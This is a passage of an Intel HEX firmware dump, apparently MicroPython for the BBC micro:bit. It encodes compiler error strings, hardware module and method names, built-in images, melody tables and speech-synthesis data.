48344E6D\n:1054C000D42826293D2041454EC4282729BD282A15\n:1054D000293D2041453453544552494853CB282B4C\n:1054E000293D20504C414834D3282C293DAC20285C\n:1054F0002D29203DAD282D29BD282E293D20504F96\n:10550000594ED4282F293D20534C41453453C828A7\n:1055100030293D205A495934524FD720283153540D\n:10552000293D4645523453D4202831305448293D32\n:10553000544548344E54C82831293D2057414834F9\n:10554000CE2028324E44293D534548344B554EC455\n:105550002832293D20545557B42028335244293D40\n:105560005448455234C42833293D2054485249599F\n:10557000B42834293D20464F4834D2202835544899\n:10558000293D464948344654C82835293D204641DE\n:105590005934D62028363429203D534948344B53BA\n:1055A00054495920464F48D22836293D205349486E\n:1055B000344BD32837293D20534548345655CE2007\n:1055C00028385448293D45593454C82838293D20A5\n:1055D000455934D42839293D204E415934CE283AF2\n:1055E000293DAE283B293DAE283C293D204C45486D\n:1055F00034532044484145CE283D293D2049593463\n:105600004B57554CDA283E293D20475245593454D2\n:1056100045522044484145CE283F293DBF284029D6\n:105620003D20414536D4285E293D204B414534522A\n:105630004958D45DC10000000000000000000000D7\n:10564000000000000000000000000000000000005A\n:1056500000000000000002020202020282000002BA\n:105660000202020202030303030303030303030210\n:10567000020202020202C0A8B0ACC0A0B8A0C0BC26\n:10568000A0ACA8ACC0A0A0ACB4A4C0A8A8B0C0BC3A\n:10569000000000020020209B20C0B920CDA34C8A2E\n:1056A0008E0095F7A239C5067EC726374E91F15573\n:1056B000A1FE24452DA736532E47DA7D7E7E7F80BE\n:1056C0008182828284848484848587878888898A89\n:1056D0008B8B8C8C8C73747265616D206F706572AE\n:1056E0006174696F6E206E6F7420737570706F7265\n:1056F000746564006F7574206F66206D656D6F72E0\n:105700007900006571016E65026373036363046D64\n:105710006905706C067673077663086869096C73AF\n:105720000A67650B6C740C67740D6C6563616E20A1\n:105730006F6E6C79206861766520757020746F20BB\n:105740003420706172616D657465727320746F20AE\n:105750005468756D6220617373656D626C79007059\n:105760006172616D6574657273206D75737420620A\n:10577000652072656769737465727320696E207342\n:10578000657175656E636520723020746F207233A9\n:105790000027257327206578706563747320616E18\n:1057A0002061646472657373206F6620746865207D\n:1057B000666F726D205B612C20625D00756E737583\n:1057C00070706F72746564205468756D6220696EC4\n:1057D000737472756374696F6E2027257327207741\n:1057E00069746820256420617267756D656E7473D5\n:1057F000006272616E6368206E6F7420696E207241\n:10580000616E67650004656F72086C736C0C6C7375\n:10581000721061737214616463187362631C726F37\n:105820007220747374246E656728636D702C636DC9\n:105830006E306F7272346D756C386269633C6D7670\n:105840006E27257327206578706563747320616EF9\n:1058500020696E7465676572002725732720696E5D\n:105860007465676572203078257820646F657320D1\n:105870006E6F742066697420696E206D61736B2091\n:105880003078257800272573272065787065637444\n:10589000732061206C6162656C006C6162656C20D4\n:1058A00027257127206E6F7420646566696E6564B4\n:1058B00000272573272065787065637473206174F1\n:1058C000206D6F737420722564002725732720656F\n:1058D000787065637473206120726567697374659D\n:1058E0007200272573272065787065637473207BA9\n:1058F00072302C2072312C202E2E2E7D0000723022\n:1059000000017231000272320003723300047234FB\n:1059100000057235000672360007723700087238CB\n:1059200000097239000A7231300B7231310C723158\n:10593000320D7231330E7231340F7231350A736C9D\n:10594000000B6670000D7370000E6C72000F7063B8\n:105950000000010102020202030303030303030325\n:105960000463616E277420636F6E766572742069BC\n:105970006E6620746F20696E740063616E277420F8\n:10598000636F6E76657274204E614E20746F20696D\n:105990006E7400696D6167652063616E6E6F74205F\n:1059A0006265206D6F646966696564202874727928\n:1059B00020636F7079696E6720666972737429005D\n:1059C000657870656374696E6720616E20696D61CA\n:1059D0006765006D757374207370656369667920FF\n:1059E000626F7468206F6666736574730073697A9A\n:1059F000652063616E6E6F74206265206E656761FD\n:105A000074697665006272696768746E6573732085\n:105A10006D756C7469706C696572206D7573742036\n:105A20006E6F74206265206E6567617469766500CB\n:105A3000696E6465782063616E6E6F7420626520A4\n:105A40006E6567617469766500696E646578207457\n:105A50006F6F206C6172676500756E657870656345\n:105A60007465642063686172616374657220696E35\n:105A700020496D61676520646566696E6974696F48\n:105A80006E00496D6167652873292074616B6573C9\n:105A9000206120737472696E6700696D61676520AB\n:105AA0006461746120697320696E636F72726563EB\n:105AB000742073697A6500496D61676528292074CF\n:105AC000616B6573203020746F20332061726775BD\n:105AD0006D656E747300496D61676528000A20204A\n:105AE000202000270A2020202027003031323334A4\n:105AF000353637383900696D61676573206D7573A8\n:105B000074206265207468652073616D6520736917\n:105B10007A6500706F706974656D28293A20646930\n:105B20006374696F6E61727920697320656D70743A\n:105B3000790025712800646963742075706461744C\n:105B4000652073657175656E636520686173207784\n:105B5000726F6E67206C656E67746800285B005D0D\n:105B60002900646963745F6974656D7300646963B7\n:105B7000745F6B65797300646963745F76616C75DB\n:105B8000657300657870656374696E672061207065\n:105B9000696E00696E76616C696420706572696F08\n:105BA0006400696E76616C69642070756C6C007657\n:105BB000616C7565206D7573742062652062657413\n:105BC0007765656E203020616E642031303233009D\n:105BD00076616C7565206D75737420626520302068\n:105BE0006F72203100736C69636520737465702077\n:105BF00063616E6E6F74206265207A65726F006FEC\n:105C0000626A656374206E6F7420696E20736571BB\n:105C100075656E6365007A65726F207374657000D8\n:105C200072616E67652825642C202564002C202570\n:105C30006429000506070409080A04031213141650\n:105C400015170F0D0E111063616E277420617373A9\n:105C500069676E20746F206C69746572616C006393\n:105C6000616E27742061737369676E20746F20659D\n:105C7000787072657373696F6E00696C6C656761CB\n:105C80006C2065787072657373696F6E20666F72D1\n:105C9000206175676D656E746564206173736967F3\n:105CA0006E6D656E74006D756C7469706C65202A1C\n:105CB0007820696E2061737369676E6D656E74001C\n:105CC00063616E27742064656C6574652065787007\n:105CD00072657373696F6E00657870656374696E61\n:105CE00067206B65793A76616C756520666F722006\n:105CF00064696374696F6E61727900657870656359\n:105D000074696E67206A75737420612076616C75A2\n:105D10006520666F722073657400737570657228F4\n:105D2000292063616E27742066696E642073656C38\n:105D3000660027627265616B27206F7574736964F2\n:105D400065206C6F6F700027636F6E74696E756588\n:105D500027206F757473696465206C6F6F700069BC\n:105D60006E76616C6964206D6963726F70797468B6\n:105D70006F6E206465636F7261746F72006E6F6E18\n:105D80002D64656661756C7420617267756D656EF2\n:105D90007420666F6C6C6F77732064656661756CD8\n:105DA0007420617267756D656E74006964656E74E8\n:105DB0006966696572207265646566696E656420EE\n:105DC000617320676C6F62616C0063616E27742081\n:105DD0006465636C617265206E6F6E6C6F63616C7D\n:105DE00020696E206F7574657220636F6465006E44\n:105DF0006F2062696E64696E6720666F72206E6FD5\n:105E00006E6C6F63616C20666F756E6400696465AB\n:105E10006E746966696572207265646566696E652F\n:105E200064206173206E6F6E6C6F63616C0027720B\n:105E3000657475726E27206F75747369646520666A\n:105E4000756E6374696F6E006E616D652072657545\n:105E500073656420666F7220617267756D656E741C\n:105E600000696E6C696E6520617373656D626C6547\n:105E700072206D75737420626520612066756E6393\n:105E800074696F6E00756E6B6E6F776E20747970CB\n:105E9000650072657475726E20616E6E6F746174E8\n:105EA000696F6E206D75737420626520616E206964\n:105EB00064656E746966696572006578706563749F\n:105EC000696E6720616E20617373656D626C6572C7\n:105ED00020696E737472756374696F6E00276C61EC\n:105EE00062656C2720726571756972657320312057\n:105EF000617267756D656E74006C6162656C2072AD\n:105F000065646566696E65640027616C69676E2704\n:105F100020726571756972657320312061726775D1\n:105F20006D656E74002764617461272072657175F8\n:105F300069726573206174206C656173742032200E\n:105F4000617267756D656E74730027646174612793\n:105F500020726571756972657320696E7465676515\n:105F60007220617267756D656E7473002A78206D9A\n:105F70007573742062652061737369676E6D656EF9\n:105F800074207461726765740063616E27742068A1\n:105F9000617665206D756C7469706C65202A780077\n:105FA00063616E27742068617665206D756C746915\n:105FB000706C65202A2A78004C4853206F66206B4D\n:105FC0006579776F726420617267206D75737420D4\n:105FD000626520616E206964006E6F6E2D6B65795D\n:105FE000776F726420617267206166746572202A1F\n:105FF0002F2A2A006E6F6E2D6B6579776F72642081\n:10600000617267206166746572206B6579776F7263\n:1060100064206172670064656661756C7420276531\n:1060200078636570743A27206D75737420626520FB\n:106030006C61737400277969656C6427206F7574CF\n:10604000736964652066756E6374696F6E002C00F9\n:10605000696E76616C6964206E756D626572206F21\n:106060006620706978656C7300696E76616C69642E\n:1060700020636F6C6F75720050696E202564206913\n:106080006E202571206D6F646500616464726573B4\n:10609000732025303878206973206E6F7420616C0E\n:1060A00069676E656420746F202564206279746569\n:1060B00073003C25752D626974206D656D6F727972\n:1060C0003E004743206D656D6F7279206C61796F7A\n:1060D00075743B2066726F6D2025703A000A20208F\n:1060E0002020202020282575206C696E6573206192\n:1060F0006C6C206672656529000A253035783A2077\n:106100000047433A20746F74616C3A2025752C2047\n:10611000757365643A2025752C20667265653A2092\n:1061200025750A00204E6F2E206F6620312D626C7F\n:106130006F636B733A2025752C20322D626C6F6370\n:106140006B733A2025752C206D617820626C6B2072\n:10615000737A3A2025752C206D617820667265650A\n:1061600020737A3A2025750A0052656164206572B1\n:10617000726F72004F75742D6F662D62756666655D\n:10618000722072656164005772697465206572726D\n:106190006F720000000000000D0D0E0F0F0F0F0FAB\n:1061A0000C0D0C0F0F0D0D0D0E0D0C0D0D0D0C0922\n:1061B0000900000000000000000B0B0B0B000001A9\n:1061C0000B00020E0F0F0F0F0D020400020400015E\n:1061D0000400010400000000000000000C000000AA\n:1061E000000F0F00000000000A0B0D0E0D0C0C0B31\n:1061F000090B0B0C0C0C08080C080A08080A030908\n:106200000600000000000000000305030400000079\n:10621000050A020E0D0C0D0C080001000001000023\n:106220000100000100000000000000000A00000A58\n:10623000000000000000000008070808010100013C\n:106240000007050100060100070005010008000025\n:10625000030000000000000000000100000000003A\n:10626000010E010901000100000000000000000013\n:106270000000000000000000000000000700000512\n:1062800000131000010202020303040405060809BA\n:106290000B0D0F00001F1F1F1F020202020202024D\n:1062A00002020505020A020805050B0A090808A0F2\n:1062B0000808171F121212121E1E14141414171796\n:1062C0001A1A1D1D0202020202021A1D1B1A1D1BB0\n:1062D0001A1D1B1A1D1B171D17171D17171D171722\n:1062E0001D17171700131313130A0E12181A16147A\n:1062F00010140E120E1212100C0E0A120E0A0806BC\n:1063000006060611060606060E10090A080A060603\n:1063100006050600121A141A120C060606060606D0\n:10632000060606060606060606060606060A0A0605\n:1063300006062C1300434343435448423E282C1E78\n:10634000242C4830241E32241C4418321E18522E8D\n:1063500036563643494F1A4249253342282F4F4F6C\n:10636000424F6E0048261E2A1E221A1A1A42424224\n:106370006E6E6E5454541A1A1A4242426D566D543F\n:1063800054547F7F005B5B5B5B6E5D5B5859575875\n:1063900052595D3E52583E6E505D5A3C6E5A6E5197\n:1063A0007965795B636A51795D525D674C5D6565BE\n:1063B000796579005A58585858525151517979791C\n:1063C000706E6E5E5E5E5151517979796565705E71\n:1063D0005E5E0801000202020204040404040404D4\n:1063E0000404040404040303040403030303030177\n:1063F0000203020103030303010103030302020377\n:106400000203000005050505040402000202000362\n:106410000200040200030200020200020300030360\n:106420000003B0A000000000000A0E13181B17158F\n:1064300010140E120E1212100D0F0B120E0B090675\n:106440000606000000000000000000000000000040\n:1064500000000000131B151B120D000000000000BF\n:106460000000000000000000000000000001010228\n:1064700002030304040505060607070001020304DE\n:1064800005060708090A0B0C0D0E0F000103040690\n:1064900007090A0C0D0F1012131516000204060846\n:1064A0000A0C0E10121416181A1C1E000205070AF8\n:1064B0000C0F111416191B1E202325000306090CAE\n:1064C0000F1215181B1E2124272A2D0003070A0E60\n:1064D0001115181C1F23262A2D313400FCF8F4F066\n:1064E000ECE8E4E0DCD8D4D0CCC8C400FCF9F5F288\n:1064F000EEEBE7E4E0DDD9D6D2CFCB00FDFAF7F43E\n:10650000F1EEEBE8E5E2DFDCD9D6D300FDFBF8F6EF\n:10651000F3F1EEECE9E7E4E2DFDDDA00FEFCFAF8A5\n:10652000F6F4F2F0EEECEAE8E6E4E200FEFDFBFA57\n:10653000F8F7F5F4F2F1EFEEECEBE900FFFEFDFC0D\n:10654000FBFAF9F8F7F6F5F4F3F2F100FFFFFEFEBF\n:10655000FDFDFCFCFBFBFAFAF9F9F800020202026D\n:1065600004040404040404040404040404030204EE\n:106570000402020202020101010101010101010103\n:1065800001020202010001000100050505050504E4\n:1065900004020001020001020001020001020002E7\n:1065A000020001030002030002A0A000000000009E\n:1065B00001010101010101010101010101010101CB\n:1065C00001010101010101010100000000000000C2\n:1065D00000000000000000000000000101010101B6\n:1065E00000000000000000000000000000000000AB\n:1065F000000000000000000000000000000000900B\n:10660000909090909090909090909090909090908A\n:10661000909090909090909090909090909090907A\n:10662000909090909090909090909090909090906A\n:10663000909090909090909090909090909090905A\n:10664000909090909090909090909090909090904A\n:10665000909090909090909090909090909090903A\n:10666000909090909090909090909090909090902A\n:10667000909090909090909090909090909090703A\n:10668000707070707070707070707070707070700A\n:1066900070707070707070707070707070707070FA\n:1066A00070707070707070707070707070707070EA\n:1066B00070707070707070707070707070707070DA\n:1066C00070707070707070707070707070707070CA\n:1066D00070707070707070707070707070707070BA\n:1066E00070707070707070707070707070707070AA\n:1066F00070707070707070707070707070707038D2\n:10670000846B19C66318867398C6B11CCA318CC7CE\n:106710003188C23098463118C6350CCA310CC621B2\n:1067200010246912C23114C471084A2249AB6AA804\n:10673000AC495132D55288936C94221554D2259687\n:10674000D450A5462108856B18C46310CE6B188CF5\n:1067500071198C63350CC63399CC6CB54EA2994631\n:10676000212882952EE3309CC5309CA2B19C6731D4\n:106770008866592C5318846750CAE30AACAB30AC16\n:1067800062308C63109462B18C8228963398D6B5AF\n:106790004C6229A54AB59CC63114D6389C4BB486A8\n:1067A0006518AE671CA66319962319841308A652B0\n:1067B000ACCA22896EAB198C6234C4621986631824\n:1067C000C42358D6A35042544AAD4A25116B64895C\n:1067D0004A63398A23312AEAA2A944C512CD423438\n:1067E0008C62188C63114866319D44331D46319C80\n:1067F000C6B10CCD3288C47318867308D6635807A7\n:1068000081E0F03C0787903C7C0FC7C0C0F07C1E45\n:10681000078080001C7870F1C71FC00CFE1C1F1F72\n:106820000E0A7AC071F2838F030F0F0C0079F861A2\n:10683000E0430F83E718F9C113DAE9638F0F83830D\n:1068400087C31F3C70F0E1E1E387B8710E20E38D50\n:1068500048781C938730E1C1C1E478218383C387E2\n:106860000639E5C387070E1C1C70F4719C60363234\n:10687000C31E3CF38F0E3C70E3C78F0F0F0E3C78A6\n:10688000F0E38706F0E307C199870F18787070FC72\n:10689000F310B18C8C317C70E1863C646CB0E1E328\n:1068A0000F238F0F1E3E383C387B8F070E3CF417AA\n:1068B0001E3C78F29E7249E32536385839E2DE3CB8\n:1068C0007878E1C761E1E1B0F0F0C3C70E38C0F0FD\n:1068D000CE73731834B0E1C78E1C3CF838F0E1C1B8\n:1068E0008B868F1C7870F078ACB18F3931DB3861D2\n:1068F000C30E0E387873171E391E3864E1F1C14E8D\n:106900000F40A202C58F81A1FC120864E03C22E086\n:1069100045078E0C3290F01F2049E0F80C60F0170C\n:106920001A41AAA4D08D12821E1E03F83E030C73D6\n:10693000807044260324E13E044E041CC109CC9E11\n:10694000902107904364C00FC6909CC15B03E21D79\n:1069500081E05E1D0384B82C0F80B183E030411EBE\n:1069600043898350FC242E1383F17C4C2CC90D8366\n:10697000B0B582E4E8069C07A0991D073E828F709F\n:10698000307440CA10E4E80F92143F06F88488433C\n:10699000810A343941C6E31C4703B0B8130AC26404\n:1069A000F818F960B3C0652060A68CC3812030263A\n:1069B0001E1C38D301B02640F40BC3421F8532267B\n:1069C0006040C9CB01EC112840FA0434E0704C8CD3\n:1069D0001D07690316C80423E8C69A0B1A03E0765C\n:1069E0000605CF1EBC5831716600F83F04FC0C74DC\n:1069F000278A8071C23A2606C01F050F9840AE0153\n:106A00007FC007FF000EFE0003DF8003EF801BF155\n:106A1000C200E7E018FCE021FC803CFC400E7E0058\n:106A20003F3E000FFE001FFF003EF007FC007E10FF\n:106A30003FFF003F380E7C01870CFCC7003E040F6F\n:106A40003E1F0F0F1F0F028387CF03870F3FC00723\n:106A50009E603FC003FE003FE077E1C0FEE0C3E080\n:106A600001DFF80307007E70007C3818FE0C1E78EA\n:106A70001C7C3E0E1F1E1E3E007F8307DB878307A4\n:106A8000C7071071FF003FE201E0C1C3E1007FC012\n:106A900005F020F8F070FE7879F8023F0C8F030FB4\n:106AA0009FE0C1C78703C3C3B0E1E1C1E3E071F078\n:106AB00000FC707C0C3E380E1C70C3C70381C1C73C\n:106AC000E7000FC7871909EFC433E0C1FCF870F085\n:106AD00078F8F061C7001FF8017CF8F078703C7C12\n:106AE000CE0E2183CF08078F08C1878F80C7E300B0\n:106AF00007F8E0EF0039F7800EF8E1E3F8219FC0D6\n:106B0000FF03F807C01FF8C404FCC4C1BC87F00F22\n:106B1000C07F05E025ECC03E8447F08E03F803FB00\n:106B2000C019F8079C0C17F807E01FA1FC0FFC0127\n:106B3000F03F00FE03F01F00FD00FF880DF901FF8C\n:106B4000007007C03E42F30DC47F80FC07F05EC0BA\n:106B50003F00783F81FF01F801C3E80CE4648FE453\n:106B60000FF007F0C21F007FC06F807E03F807F0B0\n:106B70003FC0780F8207FE227770027603FE00FE88\n:106B800067007CC7F18EC63BE03F84F319D80399B8\n:106B9000FC09B80FF8009D2461F90D00FD03F01FFA\n:106BA000903F01F81FD00FF83701F807F00FC03FF2\n:106BB00000FE03F80FC03F00FA03F00F80FF01B89A\n:106BC00007F001FC01BC80131E007FE1407FA07F25\n:106BD000B0003FC01FC0380FF01F80FF01FC03F161\n:106BE0007E01FE01F0FF007FC01D07F00FC07E0692\n:106BF000E007E00FF806C1FE01FC03E00F00FC0017\n:106C00000000000000000000000000000000000084\n:106C1000000000000000000000000000000000F183\n:106C2000E2D3BB7C95010203030072000200000066\n:106C30000000000000000000000000000000000054\n:106C400000001B0000190000000000000000000010\n:106C500000001010101010102020202020203030B4\n:106C60003030303030404040404040405050505034\n:106C70005050505060606060606060606060606054\n:106C80007070707070707070707070707070707004\n:106C90007070707070707070707070707070706004\n:106CA0006060606060606060606060505050505034\n:106CB0005050504040404040404030303030303004\n:106CC0003020202020202010101010101000000074\n:106CD0000000F0F0F0F0F0F0E0E0E0E0E0E0D0D034\n:106CE000D0D0D0D0D0C0C0C0C0C0C0C0B0B0B0B094\n:106CF000B0B0B0B0A0A0A0A0A0A0A0A0A0A0A0A054\n:106D00009090909090909090909090909090909083\n:106D1000909090909090909090909090909090A063\n:106D2000A0A0A0A0A0A0A0A0A0A0A0B0B0B0B0B013\n:106D3000B0B0B0C0C0C0C0C0C0C0D0D0D0D0D0D023\n:106D4000D0E0E0E0E0E0E0F0F0F0F0F0F000000093\n:106D500000E0E6ECF3F900060C06181A1717170006\n:106D6000000000005449433F282C1F252D493124A1\n:106D70001E33251D4518321E18532E3656000000AE\n:106D800000000000000000000000000000000048BB\n:106D9000271F2B1E22004E6F6E6500696E76616C98\n:106DA000696420676573747572650066756E6374D7\n:106DB000696F6E206D697373696E67207265717596\n:106DC0006972656420706F736974696F6E616C209D\n:106DD000617267756D656E74202325640066756E3B\n:106DE0006374696F6E206D697373696E6720726575\n:106DF000717569726564206B6579776F7264206163\n:106E00007267756D656E7420272571270066756E33\n:106E10006374696F6E206D697373696E67206B654B\n:106E200079776F72642D6F6E6C7920617267756D02\n:106E3000656E740049324320726561642065727228\n:106E40006F7220256400493243207772697465208F\n:106E50006572726F7220256400000000000000005F\n:106E60000000030303030300000000000000000013\n:106E70000000000000000000000301010101010109\n:106E80000101010101010101014545454545454516\n:106E90004545450101010101010159595959595906\n:106EA0001919191919191919191919191919191952\n:106EB00019191919010101010101696969696969F2\n:106EC0002929292929292929292929292929292932\n:106ED00029292929010101010000000402020402FC\n:106EE0000000020404040002020004040301000084\n:106EF0000103030300010102030304020101030172\n:106F00000403010003000004010102000003024D1C\n:106F1000656D6F72794572726F723A206C65786533\n:106F20007220636F756C64206E6F7420616C6C6F7F\n:106F300063617465206D656D6F7279006C696E6553\n:106F40002025752000257120006D61696E2E7079F5\n:106F500000736F6674207265626F6F740D0A0000B3\n:106F6000000005000051282573290A008F012A001E\n:106F7000FA015F008A012F006C0325236F007B0359\n:106F80002523780058057B3A23627D00AF010A0073\n:106F900073206D6178696D756D20726563757273AC\n:106FA000696F6E20646570746820657863656564D8\n:106FB000656400BD083C6D6F64756C653E008008BB\n:106FC0003C6C616D6264613E00D40A3C6C69737410\n:106FD000636F6D703E00CC0A3C64696374636F6DCF\n:106FE000703E0054093C736574636F6D703E0034ED\n:106FF000093C67656E657870723E0052083C737498\n:1070000072696E673E00E3073C737464696E3E000C\n:10701000B7057574662D3800940468656C7000734C\n:1070200005696E70757400E00B636F6C6C6563745A\n:10703000696F6E7300120673747275637400C00812\n:107040006D6963726F6269740010057265736574AF\n:1070500000EA05736C65657000C80C72756E6E6928\n:107060006E675F74696D6500D00570616E6963005D\n:10707000E90B74656D706572617475726500A304C7\n:1070800074686973006307617574686F727300F1E7\n:107090000B616E7469677261766974790055046C6E\n:1070A0006F7665002C0862616461626F6F6D00CD60\n:1070B000124D6963726F4269744469676974616CE7\n:1070C00050696E0007184D6963726F426974416EB2\n:1070D000616C6F674469676974616C50696E0052D6\n:1070E000104D6963726F426974546F7563685069BB\n:1070F0006E00920C726561645F6469676974616CAB\n:1071000000FD0D77726974655F6469676974616C0D\n:1071100000620B726561645F616E616C6F67002D68\n:107120000C77726974655F616E616C6F670008113E\n:107130007365745F616E616C6F675F706572696FB4\n:107140006400EE1E7365745F616E616C6F675F70E3\n:107150006572696F645F6D6963726F7365636F6E8B\n:107160006473007A1E6765745F616E616C6F675F40\n:10717000706572696F645F6D6963726F7365636F69\n:107180006E647300040A69735F746F756368656485\n:10719000007906756E7573656400C80A6175646967\n:1071A0006F5F706C617900F306627574746F6E00C6\n:1071B0008005746F756368002002337600AF08673E\n:1071C00065745F6D6F646500E60A4D6963726F42B6\n:1071D0006974494F00020470696E300003047069DD\n:1071E0006E3100010470696E3200010470696E3303\n:1071F00000060470696E3400070470696E3500047F\n:107200000470696E3600050470696E37000A0470F8\n:10721000696E38000B0470696E3900530570696E31\n:10722000313000520570696E313100510570696E60\n:10723000313200500570696E313300570570696E48\n:10724000313400560570696E313500550570696E30\n:107250003136005A0570696E313900300570696E3B\n:1072600032300049086765745F70756C6C00DD082A\n:107270007365745F70756C6C00BA0750554C4C5F49\n:10728000555000AD0950554C4C5F444F574E001EB1\n:10729000074E4F5F50554C4C00870D4D6963726F20\n:1072A000426974496D616765006205496D61676592\n:1072B000004205696D61676500230577696474683C\n:1072C00000FA0668656967687400B706696E7665D6\n:1072D000727400CA0466696C6C00B0097365745FEF\n:1072E000706978656C00A4096765745F706978657A\n:1072F0006C00A10A73686966745F6C65667400BA95\n:107300000B73686966745F726967687400DF08737D\n:10731000686966745F757000480A73686966745FAF\n:10732000646F776E00E2096D6F6E6F7370616365F5\n:1073300000F604626C6974000F0548454152540020\n:10734000CF0B48454152545F534D414C4C001505FD\n:107350004841505059009303534144009B05534DFD\n:10736000494C4500A608434F4E4655534544002618\n:1073700005414E475259000B0641534C45455000BC\n:10738000880953555250524953454400C605534944\n:107390004C4C59003008464142554C4F555300055E\n:1073A000034D4548000A035945530004024E4F005F\n:1073B0006E07434C4F434B313200DC06434C4F4386\n:1073C0004B3100DF06434C4F434B3200DE06434C4B\n:1073D0004F434B3300D906434C4F434B3400D80640\n:1073E000434C4F434B3500DB06434C4F434B360079\n:1073F000DA06434C4F434B3700D506434C4F434BC3\n:107400003800D406434C4F434B39006C07434C4F74\n:10741000434B3130006D07434C4F434B313100ED4E\n:10742000074152524F575F4E00C8084152524F57C2\n:107430005F4E4500E6074152524F575F4500B50881\n:107440004152524F575F534500F0074152524F5738\n:107450005F5300A7084152524F575F535700F4073C\n:107460004152524F575F5700DA084152524F575F0F\n:107470004E5700EB08545249414E474C45008F0D82\n:10748000545249414E474C455F4C45465400510AC1\n:107490004348455353424F41524400A10744494198\n:1074A0004D4F4E4400610D4449414D4F4E445F5392\n:1074B0004D414C4C00840653515541524500840CBB\n:1074C0005351554152455F534D414C4C00EB0652D0\n:1074D0004142424954005E03434F5700AB0E4D55A5\n:1074E0005349435F43524F5443484554005F0C4D4A\n:1074F000555349435F515541564552006C0D4D550A\n:107500005349435F51554156455253003309504941\n:10751000544348464F524B00E204584D41530055E6\n:10752000065041434D414E00B40654415247455424\n:1075300000450654534849525400270B524F4C4CB7\n:107540004552534B415445003C044455434B00A124\n:1075500005484F55534500C808544F52544F49539E\n:1075600045005609425554544552464C5900E90BC2\n:10757000535449434B46494755524500C205474875\n:107580004F535400980553574F5244007D074749C5\n:107590005241464645004805534B554C4C00C908DE\n:1075A000554D4252454C4C41009705534E414B4579\n:1075B00000F10A414C4C5F4152524F575300C00AF0\n:1075C000414C4C5F434C4F434B53005A0F4D696342\n:1075D000726F426974446973706C617900910E73C3\n:1075E00065745F6272696768746E657373009E107C\n:1075F0007365745F646973706C61795F6D6F6465E6\n:10760000001F07646973706C617900860473686F8A\n:10761000770028067363726F6C6C00500564656CAC\n:10762000617900B8067374726964650085057374C6\n:10763000617274008E04776169740039046C6F6F35\n:107640007000E004636F7079000B0463726F700068\n:10765000B505736C6963650098047465787400F609\n:107660000B536C69636564496D61676500BD0F53B9\n:1076700063726F6C6C696E67537472696E670064D5\n:10768000026F6E008A036F666600610569735F6F43\n:107690006E00C10646616361646500160E4D696344\n:1076A000726F426974427574746F6E00ED08627592\n:1076B00074746F6E5F6100EE08627574746F6E5F54\n:1076C0006200E60A69735F7072657373656400F93E\n:1076D0000B7761735F7072657373656400FD0B6790\n:1076E00065745F70726573736573005B154D6963D4\n:1076F000726F426974416363656C65726F6D657426\n:107700006572001E0D616363656C65726F6D6574F3\n:1077100065720034056765745F78003505676574C8\n:107720005F790036056765745F7A00F40A676574EF\n:107730005F76616C75657300D40F63757272656EE8\n:10774000745F6765737475726500070A69735F67B4\n:1077500065737475726500D80B7761735F676573C5\n:107760007475726500180C6765745F67657374756E\n:1077700072657300A0027570003704646F776E0045\n:10778000DE046C65667400E5057269676874002143\n:107790000766616365207570003609666163652060\n:1077A000646F776E00B6086672656566616C6C0022\n:1077B000310233670094023667005A02386700319D\n:1077C000057368616B6500100F4D6963726F4269E4\n:1077D00074436F6D70617373005507636F6D7061F3\n:1077E0007373002D0768656164696E6700230D6916\n:1077F000735F63616C69627261746564000209633E\n:10780000616C696272617465004911636C656172D3\n:107810005F63616C6962726174696F6E00F4126714\n:1078200065745F6669656C645F737472656E6774B6\n:107830006800B80B4D6963726F4269744932430046\n:107840005D0369326300B70472656164009805776F\n:107850007269746500B6046164647200CB016E00E5\n:10786000740362756600F20672657065617400E506\n:10787000046672657100530373646100F9037363F6\n:107880006C0004056D7573696300A109667265710A\n:1078900075656E6379007B086475726174696F6EDB\n:1078A000008305706974636800F20370696E0021DB\n:1078B00004706C6179009B097365745F74656D7009\n:1078C0006F008F096765745F74656D706F00DA0310\n:1078D00062706D0043057469636B73009F054241DC\n:1078E000444459009D0742415F44494E4700FC080B\n:1078F000424952544844415900C805424C554553E9\n:10790000005905434841534500FC09444144414462\n:107910004144554D00480B454E5445525441494E43\n:10792000455200420746554E4552414C00D304464D\n:10793000554E4B00AA094A554D505F444F574E00D3\n:10794000FD074A554D505F5550003D044E59414E7C\n:10795000006B034F444500970A504F5745525F4410\n:107960004F574E000108504F5745525F5550003A4F\n:10797000075052454C55444500EB0950554E43487D\n:107980004C494E4500B106505954484F4E00C70867\n:1079900052494E47544F4E4500640957415741578D\n:1079A0004157414100170757454444494E4700C4D9\n:1079B00001610067026123002C0461233A31002E2B\n:1079C0000461233A330076026132007002613400B0\n:1079D000BB0461343A3100B90461343A33000F0317\n:1079E000613A31000C03613A32000A03613A340013\n:1079F0000B03613A3500C7016200DE0462323A319E\n:107A00000094026233009302623400D80462343A74\n:107A10003100DB0462343A32009202623500D9044C\n:107A200062353A31000C03623A31000F03623A3298\n:107A300000C6016300A502632300700363233500C1\n:107A4000BB056323353A3100B8056323353A32006C\n:107A50006E0463233A3100670463233A3800FC0460\n:107A600063323A3200B5026333007C0463333A3345\n:107A7000007B0463333A3400B202633400F90463D8\n:107A8000343A3100FB0463343A3300FC0463343A83\n:107A90003400B302633500780463353A31007B0467\n:107AA00063353A32007A0463353A33007D04633536\n:107AB0003A34000D03633A31000E03633A32000F8B\n:107AC00003633A33000803633A34000403633A382B\n:107AD00000C1016400C202642300FF056423353A3B\n:107AE00032000A0464233A32000B0464233A330060\n:107AF000D202643300D5026434001E0464343A3187\n:107B000000D4026435001F0464353A31001C04645B\n:107B1000353A32000A03643A31000903643A32000C\n:107B20000803643A33000F03643A34000E03643AE6\n:107B300035000D03643A36000303643A3800C0018F\n:107B40006500BA0465333A3300F4026534003F043B\n:107B500065343A3100F5026535003F0465363A3345\n:107B6000000B03653A31000803653A3200090365EA\n:107B70003A33000E03653A34000F03653A35000CC2\n:107B800003653A36000203653A3800E00465623A5C\n:107B90003800C30166000102662300350366233501\n:107BA00000FD056623353A32004B0466233A310066\n:107BB000480466233A3200420466233A3800110230\n:107BC0006632000803663A31000B03663A32000A57\n:107BD00003663A33000D03663A34000103663A380F\n:107BE00000C20167002102672300EA0467233A31DB\n:107BF00000E80467233A3300FA0467333A31003669\n:107C0000026734007D0467343A31007E0467343AF9\n:107C100032003702673500FC0467353A310009034A\n:107C2000673A31000A03673A32000B03673A3300C0\n:107C30000103673A3800D7017200CB0472343A323C\n:107C4000001C03723A31001F03723A32001E0372A5\n:107C50003A3300320C4D6963726F42697455415278\n:107C60005400770475617274001F04696E697400B2\n:107C7000F508626175647261746500490462697433\n:107C800073004206706172697479009D0473746FA9\n:107C90007000410470696E73008902747800CF022D\n:107CA0007278001303616E79007607726561646112\n:107CB0006C